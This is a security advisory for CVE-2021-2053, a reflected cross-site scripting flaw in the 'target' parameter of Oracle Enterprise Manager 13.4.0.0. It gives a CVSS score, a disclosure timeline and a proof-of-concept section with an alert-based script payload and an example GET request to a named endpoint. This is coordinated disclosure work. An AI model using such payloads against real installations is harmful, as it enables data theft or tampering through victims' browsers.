```
research@STM:~$ cat /stm/vulndb/CVE-2021-2053
```

# CVE-2021-2053

**Name**

Reflected Cross-Site Scripting in "target" query parameter

**CVSS score**

6.1 (Medium)

**CVSS vector**

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

**Product name**

Oracle Enterprise Manager

**Confirmed exploitable versions**

13.4.0.0

**Researcher**

Jakub Sajniak and Artur Obuchowski

**Description**

Reflected Cross-Site Scripting vulnerability exists in `target` GET parameter of the OEM 13.4.0.0 version. A specially crafted URL can trigger XSS attack. Successful attack requires victim interaction (clicking on the malicious link) and can result in modifying or exfiltrating data from the affected application.

**Proof-of-concept**

In order to exploit the vulnerability you have to append `target` parameter to URL with the following payload:

```
 </script><script>alert(document.domain)</script>
```

Conducted tests showed that multiple endpoints process `target` parameter.
Example request:

```
 GET /em/faces/as-wsm-mgmt-asyncresponse?type=weblogic_domain&target=%2FEMGC_GCDomain%2FGCDomain%3C/script%3E%3Cscrip
t%3Ealert(document.domain)%3C/script%3E&[...REDACTED...] HTTP/1.1
```

**Timeline**

- 24-09-2020 - Vulnerability reported to vendor
- 25-09-2020 - Vendor response
- 25-10-2020 - Vendor update
- 24-02-2021 - Issue addressed
- 24-04-2021 - Vendor disclosure
- 26-04-2021 - Public disclosure

**References**

https://www.oracle.com/security-alerts/cpuapr2021.html